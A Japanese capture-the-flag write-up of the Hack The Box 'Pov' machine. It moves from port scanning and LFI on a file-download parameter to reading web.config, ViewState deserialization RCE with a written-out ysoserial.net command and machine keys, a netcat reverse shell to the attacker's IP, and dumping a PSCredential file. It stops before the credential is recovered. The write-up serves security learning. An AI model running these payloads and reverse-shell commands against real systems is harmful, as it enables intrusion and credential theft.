【Hack The Box】Pov【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Pov___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.251 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.251:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-02 02:45 EST
Initiating Ping Scan at 02:45
Scanning 10.10.11.251 [4 ports]
Completed Ping Scan at 02:45, 0.29s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:45
Completed Parallel DNS resolution of 1 host. at 02:45, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 02:45
Scanning 10.10.11.251 [1 port]
Discovered open port 80/tcp on 10.10.11.251
Completed SYN Stealth Scan at 02:45, 0.24s elapsed (1 total ports)
Nmap scan report for 10.10.11.251
Host is up, received echo-reply ttl 127 (0.22s latency).
Scanned at 2024-03-02 02:45:39 EST for 0s

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
           Raw packets sent: 5 (196B) | Rcvd: 2 (72B)
```
WindwosのBOXで80しか空いてないのは珍しい。
一応UDPのPortも列挙しておく。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -sU -n -Pn -v 10.10.11.251
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-02 02:44 EST
Initiating UDP Scan at 02:44
Scanning 10.10.11.251 [1000 ports]
UDP Scan Timing: About 15.50% done; ETC: 02:48 (0:02:49 remaining)
UDP Scan Timing: About 30.50% done; ETC: 02:48 (0:02:19 remaining)
UDP Scan Timing: About 45.50% done; ETC: 02:48 (0:01:49 remaining)
UDP Scan Timing: About 60.05% done; ETC: 02:48 (0:01:20 remaining)
UDP Scan Timing: About 74.55% done; ETC: 02:48 (0:00:52 remaining)
Completed UDP Scan at 02:48, 201.66s elapsed (1000 total ports)
Nmap scan report for 10.10.11.251
Host is up.
All 1000 scanned ports on 10.10.11.251 are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 201.75 seconds
           Raw packets sent: 2088 (98.552KB) | Rcvd: 1 (28B)
```
何もなさそう。
まぁここから攻めていくしかないですね。リアルワールドぽくて楽しそうだ。
## Web探索
### ブラウジング
実際にサイトにアクセスする。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0a12d232-e48c-a3e9-9a76-e8eec8794a24.png)
ASP.NETのサイトが見える。`pov.htb`のドメインが見えるので`/etc/hosts`に登録しておく。
```bash
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   
```
```bash
10.10.11.251    pov.htb
```
### サブドメイン探索
ffufを使ってサブドメインの列挙を行う。
```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://pov.htb/ -H "HOST: FUZZ.pov.htb" -fs 12330 -t 150 -mc all

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pov.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.pov.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 12330
________________________________________________

dev                     [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 890ms]
xinaomenbaijiale        [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 5373ms]
xinli                   [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 5392ms]
*                       [Status: 400, Size: 334, Words: 21, Lines: 7, Duration: 214ms]
:: Progress: [100000/100000] :: Job [1/1] :: 493 req/sec :: Duration: [0:03:07] :: Errors: 0 ::
```
色々と出てきた。このうち、サブドメインとして機能していたのは`dev`のみだった。
このアドレスも`/etc/hosts`に追加しておく。
```bash
10.10.11.251    pov.htb dev.pov.htb
```
実際のサイトは以下のように見える。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fdcbf280-15f3-4a50-69b7-5b5a0e9cae89.png)

### ディレクトリ探索
dirsearchを使って列挙を行う。
```bash
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://dev.pov.htb/portfolio/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/work/reports/http_dev.pov.htb/_portfolio__24-03-02_03-16-49.txt

Target: http://dev.pov.htb/

[03:16:49] Starting: portfolio/
[03:16:53] 302 -  162B  - /portfolio/%2e%2e//google.com  ->  http://dev.pov.htb/portfolio/google.com
[03:16:53] 302 -  158B  - /portfolio/%3f/  ->  /default.aspx?aspxerrorpath=/portfolio/?/
[03:16:53] 403 -  312B  - /portfolio/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[03:16:53] 302 -  161B  - /portfolio/.asmx  ->  /default.aspx?aspxerrorpath=/portfolio/.asmx
[03:16:53] 302 -  161B  - /portfolio/.ashx  ->  /default.aspx?aspxerrorpath=/portfolio/.ashx
[03:17:08] 403 -  312B  - /portfolio/\..\..\..\..\..\..\..\..\..\etc\passwd
[03:17:13] 302 -  165B  - /portfolio/admin%20/  ->  /default.aspx?aspxerrorpath=/portfolio/admin%20/
[03:17:14] 302 -  162B  - /portfolio/admin.  ->  /default.aspx?aspxerrorpath=/portfolio/admin.
[03:17:30] 301 -  159B  - /portfolio/assets  ->  http://dev.pov.htb/portfolio/assets/
[03:17:30] 302 -  156B  - /portfolio/assets/  ->  http://dev.pov.htb:8080/portfolio
[03:17:30] 302 -  163B  - /portfolio/asset..  ->  /default.aspx?aspxerrorpath=/portfolio/asset..
[03:17:38] 403 -  312B  - /portfolio/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[03:17:43] 200 -    5KB - /portfolio/contact.aspx
[03:17:48] 302 -  235B  - /portfolio/docpicker/internal_proxy/https/127.0.0.1:9043/ibm/console  ->  /default.aspx?aspxerrorpath=/portfolio/docpicker/internal_proxy/https/127.0.0.1:9043/ibm/console
[03:17:59] 302 -  166B  - /portfolio/index.php.  ->  /default.aspx?aspxerrorpath=/portfolio/index.php.
[03:18:01] 302 -  180B  - /portfolio/javax.faces.resource.../  ->  /default.aspx?aspxerrorpath=/portfolio/javax.faces.resource.../
[03:18:01] 302 -  272B  - /portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd
[03:18:01] 302 -  239B  - /portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/help/*  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/help/*
[03:18:01] 302 -  267B  - /portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/jfrStart/filename=!/tmp!/foo  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/jfrStart/filename=!/tmp!/foo
[03:18:01] 302 -  265B  - /portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/jvmtiAgentLoad/!/etc!/passwd  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/jvmtiAgentLoad/!/etc!/passwd
[03:18:01] 302 -  264B  - /portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/output=!/tmp!/pwned  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/output=!/tmp!/pwned
[03:18:01] 302 -  246B  - /portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/disable  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/disable
[03:18:01] 302 -  249B  - /portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmSystemProperties  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmSystemProperties
[03:18:01] 302 -  213B  - /portfolio/jolokia/exec/java.lang:type=Memory/gc  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/exec/java.lang:type=Memory/gc
[03:18:01] 302 -  233B  - /portfolio/jolokia/read/java.lang:type=Memory/HeapMemoryUsage/used  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/read/java.lang:type=Memory/HeapMemoryUsage/used
[03:18:01] 302 -  221B  - /portfolio/jolokia/read/java.lang:type=*/HeapMemoryUsage  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/read/java.lang:type=*/HeapMemoryUsage
[03:18:01] 302 -  214B  - /portfolio/jolokia/search/*:j2eeType=J2EEServer,*  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/search/*:j2eeType=J2EEServer,*
[03:18:01] 302 -  226B  - /portfolio/jolokia/write/java.lang:type=Memory/Verbose/true  ->  /default.aspx?aspxerrorpath=/portfolio/jolokia/write/java.lang:type=Memory/Verbose/true
[03:18:04] 302 -  166B  - /portfolio/login.wdm%2e  ->  /default.aspx?aspxerrorpath=/portfolio/login.wdm.
[03:18:21] 302 -  168B  - /portfolio/rating_over.  ->  /default.aspx?aspxerrorpath=/portfolio/rating_over.
[03:18:25] 302 -  168B  - /portfolio/service.asmx  ->  /default.aspx?aspxerrorpath=/portfolio/service.asmx
[03:18:30] 302 -  164B  - /portfolio/static..  ->  /default.aspx?aspxerrorpath=/portfolio/static..
[03:18:35] 302 -  165B  - /portfolio/Trace.axd  ->  /default.aspx?aspxerrorpath=/portfolio/Trace.axd
[03:18:36] 302 -  195B  - /portfolio/umbraco/webservices/codeEditorSave.asmx  ->  /default.aspx?aspxerrorpath=/portfolio/umbraco/webservices/codeEditorSave.asmx
[03:18:42] 302 -  165B  - /portfolio/WEB-INF./  ->  /default.aspx?aspxerrorpath=/portfolio/WEB-INF./
[03:18:44] 302 -  171B  - /portfolio/WebResource.axd?d=LER8t9aS  ->  /default.aspx?aspxerrorpath=/portfolio/WebResource.axd

Task Completed
```
`/portfolio/contact.aspx`くらいかな気になるのは。
`katana`でエンドポイントも見ておく。
```bash
┌──(root㉿kali)-[~/work]
└─# katana -u http://dev.pov.htb/portfolio/

   __        __                
  / /_____ _/ /____ ____  ___ _
 /  '_/ _  / __/ _  / _ \/ _  /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/							 

		projectdiscovery.io

[INF] Current katana version v1.0.5 (latest)
[INF] Started standard crawling for => http://dev.pov.htb/portfolio/
http://dev.pov.htb/portfolio/
http://dev.pov.htb/portfolio/assets/vendors/bootstrap/bootstrap.affix.js
http://dev.pov.htb/portfolio/assets/js/steller.js
http://dev.pov.htb/portfolio/assets/vendors/bootstrap/bootstrap.bundle.js
http://dev.pov.htb/portfolio/assets/vendors/themify-icons/css/themify-icons.css
http://dev.pov.htb/portfolio/contact.aspx
http://dev.pov.htb/portfolio/assets/css/steller.css
http://dev.pov.htb/portfolio/assets/vendors/jquery/jquery-3.4.1.js
http://dev.pov.htb/portfolio/default.aspx
http://dev.pov.htb:8080
```
`default.aspx`ねぇ、`8080`については内部のPortかな、転送してそう。
`default.aspx`にcv.pdfをダウンロードできる機能があるので押してみる。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/bd20bc29-4bea-1da7-80fd-910823cade86.png)
PDFがダウンロードできた。中身はそれほど新しそうな情報なし。
exiftoolで確認してみる。
```bash
┌──(root㉿kali)-[/home/kali/Downloads]
└─# exiftool cv.pdf 
ExifTool Version Number         : 12.76
File Name                       : cv.pdf
Directory                       : .
File Size                       : 148 kB
File Modification Date/Time     : 2024:03:02 03:29:10-05:00
File Access Date/Time           : 2024:03:02 03:29:11-05:00
File Inode Change Date/Time     : 2024:03:02 03:29:10-05:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Language                        : es
Tagged PDF                      : Yes
XMP Toolkit                     : 3.1-701
Producer                        : Microsoft® Word para Microsoft 365
Creator                         : Turbo
Creator Tool                    : Microsoft® Word para Microsoft 365
Create Date                     : 2023:09:15 12:47:15-06:00
Modify Date                     : 2023:09:15 12:47:15-06:00
Document ID                     : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Instance ID                     : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Author                          : Turbo
```
良い情報はなさそう。

# イニシャルアクセス
## LFI
PDFを持ってくるPOSTリクエストは以下のようになっている。インターセプトをONにして持ってくる。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fbb50641-6f1b-0133-64fd-2b405a18d2e8.png)
この`file`にLFIの脆弱性がないか試してみるが、`..\..\..\..\boot.ini`や`../../boot.ini`は通らなかった。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0daf58d9-44c5-cf67-82b8-a065faf4e63d.png)
一旦同階層にありそうなファイルをBurpのIntruderで列挙していく。
ファイルのリストをSimpleListとしてBurpに食わせる。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2687bb2d-de5f-20ab-5b67-05c97868b144.png)
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8f7d90e5-87a4-9e28-1b80-421da7538f24.png)
列挙してファイルサイズが明らかに違うものを見つける。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/70d3ff25-73e9-a90b-a5ad-72ae456aaece.png)
`default.aspx`が帰ってきた。コードとPDFを参照する階層は同階層っぽい。
では上位階層に`web.config`があると仮定できる。これはASP.NETの階層構造を調べてもらえればわかると思う。
`..\web.config`を打ち込む。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7a7c98c5-76e2-bd2c-03a7-925a96785778.png)
確認できた。
## RCE
### ASP.NET 4.5
手に入れた`web.config`の中身を確認すると以下でVersionが確認できる。
```bash
<httpRuntime targetFramework="4.5" />
```
これについて調べていると以下の記事を発見する。

https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter#test-case-4-.net-greater-than-4.5-and-enableviewstatemac-true-false-and-viewstateencryptionmode-true

この記事を参考にして、PayloadをWindows端末で作成する。
作成には以下のリポジトリから`ysoserial.exe`を手に入れて回す必要があるので。

https://github.com/pwntester/ysoserial.net

### reverse shell
まず叩き込むreverseshellを作成する。いつものrevshellさんです。

https://www.revshells.com/

![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b3fd2dc5-47bc-1f5d-3571-53fd43e25796.png)

これを`ysoserial.exe`を使ってシリアライズします。
```bash
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "コマンド"
```
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c7020226-0c0c-49e2-eca0-761bf3a868e5.png)
このシリアライズされてるPayloadを`__VIEWSTATE`に叩き込む。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f5d90fd3-0f4b-4805-6fdd-71247f4648bf.png)
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c4e7d293-f514-9363-71be-eca6296f33ba.png)
リバースシェルをゲットしました！ですがこれでUserフラグを取れるわけではありません。
このPowershellのリバースシェルではWinPeasの出力がリアルタイムで見えないのでシェルをアップグレードします。
`nc.exe`をBOXに送り込み、起動させて再度シェルを受け取ります。
```powershell
PS C:\Users\sfitz\Desktop> .\nc.exe 10.10.14.83 1234 -e cmd
```
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/01f41d6b-6fe9-fa8d-59dc-d55a7ac2f916.png)
安定したシェルをゲットしました。

# クレデンシャルアクセス
とりあえず何か情報がないか探っていきます。
## winPEAS
ﾆｯｺﾘさんを回します。
```powershell
PS C:\Users\sfitz\Desktop> .\winPEASany.exe 
.\winPEASany.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
     
               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((   
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.'

  WinPEAS-ng by @hacktricks_live

       /---------------------------------------------------------------------------------\
       |                             Do you like PEASS?                                  |
       |---------------------------------------------------------------------------------| 
       |         Get the latest version    :     https://github.com/sponsors/carlospolop |
       |         Follow on Twitter         :     @hacktricks_live                        |
       |         Respect on HTB            :     SirBroccoli                             |
       |---------------------------------------------------------------------------------|
       |                                 Thank you!                                      |
       \---------------------------------------------------------------------------------/

  [+] Legend:
         Red                Indicates a special privilege over an object or something is misconfigured
         Green              Indicates that some protection is enabled or something is well configured
         Cyan               Indicates active users
         Blue               Indicates disabled users
         LightYellow        Indicates links

 You can find a Windows local PE Checklist here: https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation
   Creating Dynamic lists, this could take a while, please wait...
   - Loading sensitive_files yaml definitions file...
   - Loading regexes yaml definitions file...
   - Checking if domain...
   - Getting Win32_UserAccount info...
   - Creating current user groups list...
   - Creating active users list (local only)...
   - Creating disabled users list...
   - Admin users list...
   - Creating AppLocker bypass list...
   - Creating files/directories list for search...


                                   ͹ System Information                                      

          ͹ Basic System Information
  Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
    OS Name: Microsoft Windows Server 2019 Standard
    OS Version: 10.0.17763 N/A Build 17763
    System Type: x64-based PC
    Hostname: pov
    ProductName: Windows Server 2019 Standard
    EditionID: ServerStandard
    ReleaseId: 1809
    BuildBranch: rs5_release
    CurrentMajorVersionNumber: 10
    CurrentVersion: 6.3
    Architecture: AMD64
    ProcessorCount: 2
    SystemLang: en-US
    KeyboardLang: English (United States)
    TimeZone: (UTC-08:00) Pacific Time (US & Canada)
    IsVirtualMachine: True
    Current Time: 3/2/2024 2:50:28 AM
    HighIntegrity: False
    PartOfDomain: False
    Hotfixes: 

... 省略

͹ Users
  Check if you have some admin equivalent privileges https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
  Current user: sfitz
  Current groups: Domain Users, Everyone, Users, Batch, Console Logon, Authenticated Users, This Organization, Local account, IIS_IUSRS, Local, dev, NTLM Authentication
   =================================================================================================

    POV\Administrator: Built-in account for administering the computer/domain
        |->Groups: Administrators
        |->Password: CanChange-NotExpi-Req

    POV\alaading
        |->Groups: Remote Management Users,Users
        |->Password: CanChange-NotExpi-Req

    POV\DefaultAccount(Disabled): A user account managed by the system.
        |->Groups: System Managed Accounts Group
        |->Password: CanChange-NotExpi-NotReq

    POV\Guest(Disabled): Built-in account for guest access to the computer/domain
        |->Groups: Guests
        |->Password: NotChange-NotExpi-NotReq

    POV\sfitz
        |->Groups: Users
        |->Password: CanChange-NotExpi-Req

    POV\WDAGUtilityAccount(Disabled): A user account managed and used by the system for Windows Defender Application Guard scenarios.
        |->Password: CanChange-Expi-Req

....省略

          ͹ Network Ifaces and known hosts
  The masks are only for the IPv4 addresses 
    Ethernet0 2[00:50:56:B9:C1:9C]: 10.10.11.251, fe80::f335:1023:8d00:b74a%4 / 255.255.254.0
        Gateways: 10.10.10.2
        DNSs: 127.0.0.1
        Known hosts:
          10.10.10.2            00-50-56-B9-A8-B4     Dynamic
          10.10.11.255          FF-FF-FF-FF-FF-FF     Static
          169.254.255.255       00-00-00-00-00-00     Invalid
          224.0.0.22            01-00-5E-00-00-16     Static
          224.0.0.251           01-00-5E-00-00-FB     Static
          224.0.0.252           01-00-5E-00-00-FC     Static

    Loopback Pseudo-Interface 1[]: 127.0.0.1, ::1 / 255.0.0.0
        DNSs: fec0:0:0:ffff::1%1, fec0:0:0:ffff::2%1, fec0:0:0:ffff::3%1
        Known hosts:
          224.0.0.22            00-00-00-00-00-00     Static


          ͹ Current TCP Listening Ports
  Check for services restricted from the outside 
  Enumerating IPv4 connections

  Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

  TCP        0.0.0.0               80            0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               135           0.0.0.0               0               Listening         852             svchost
  TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               49664         0.0.0.0               0               Listening         480             wininit
  TCP        0.0.0.0               49665         0.0.0.0               0               Listening         924             svchost
  TCP        0.0.0.0               49666         0.0.0.0               0               Listening         1204            svchost
  TCP        0.0.0.0               49667         0.0.0.0               0               Listening         620             services
  TCP        0.0.0.0               49668         0.0.0.0               0               Listening         628             lsass

```
`alaading`がいるのでこいつに横移動するのかと予想。また、内部のPortからも特別なPortもなくLDAPもないのでAD環境もないと考えられる。
なら単純な列挙系だと考え、Peasの出力を追ったが、何もなかった。

## Powerless
単純な列挙系であればPowerlessさんが役に立つ。回す。
```powershell
PS C:\Users\sfitz\Desktop> .\Powerless.bat
.\Powerless.bat
------ System Info (Use full output in conjunction with windows-exploit-suggester.py)-------

Host Name:                 POV
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00429-00521-62775-AA076
Original Install Date:     10/26/2023, 1:01:55 PM
System Boot Time:          2/29/2024, 9:02:13 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
                           [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 3,138 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 3,670 MB
Virtual Memory: In Use:    1,129 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.11.251
                                 [02]: fe80::f335:1023:8d00:b74a
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

----- Architecture -------
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_ARCHITEW6432=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=5507

------ Users and groups (check individual user with 'net user USERNAME' ) Check user privileges for SeImpersonate (rotten potato exploit) -------
Current User: POV$ 

USER INFORMATION
----------------

User Name SID                                          
========= =============================================
pov\sfitz S-1-5-21-2506154456-4081221362-271687478-1000


...省略

C:\Users\sfitz\3D Objects\desktop.ini
C:\Users\sfitz\Contacts\desktop.ini
C:\Users\sfitz\Desktop\accesschk64.exe
C:\Users\sfitz\Desktop\desktop.ini
C:\Users\sfitz\Desktop\Microsoft
C:\Users\sfitz\Desktop\nc.exe
C:\Users\sfitz\Desktop\Powerless.bat
C:\Users\sfitz\Desktop\winPEAS.bat
C:\Users\sfitz\Desktop\winPEASany.exe
C:\Users\sfitz\Documents\connection.xml
C:\Users\sfitz\Documents\desktop.ini
C:\Users\sfitz\Documents\My Music
C:\Users\sfitz\Documents\My Pictures
C:\Users\sfitz\Documents\My Videos
C:\Users\sfitz\Downloads\desktop.ini
C:\Users\sfitz\Links\desktop.ini
C:\Users\sfitz\Links\Desktop.lnk
C:\Users\sfitz\Links\Downloads.lnk
C:\Users\sfitz\Music\desktop.ini
C:\Users\sfitz\Pictures\desktop.ini
C:\Users\sfitz\Saved Games\desktop.ini
C:\Users\sfitz\Searches\desktop.ini
C:\Users\sfitz\Searches\Everywhere.search-ms
C:\Users\sfitz\Searches\Indexed Locations.search-ms
C:\Users\sfitz\Videos\desktop.ini

-------- Exploring program directories and C:\ ---------
--- Program Files ---
Common Files
internet explorer
VMware
Windows Defender
Windows Defender Advanced Threat Protection
```
`C:\Users\sfitz\Documents\connection.xml`を見つける。
この中身を確認すると以下のように出力される。

```xml
PS C:\Users\sfitz\Desktop> cat C:\Users\sfitz\Documents\connection.xml
cat C:\Users\sfitz\Documents\connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>
```
`alaading`のクレデンシャルが見えるこれを復元するためにJohnや以下サイトを利用してみたが上手くいかない。

https://crackstation.net/

## PSCredential
`System.Management.Automation.PSCredential`のエンコード方法がよくわからんので、GPTさんに聞いてみた。
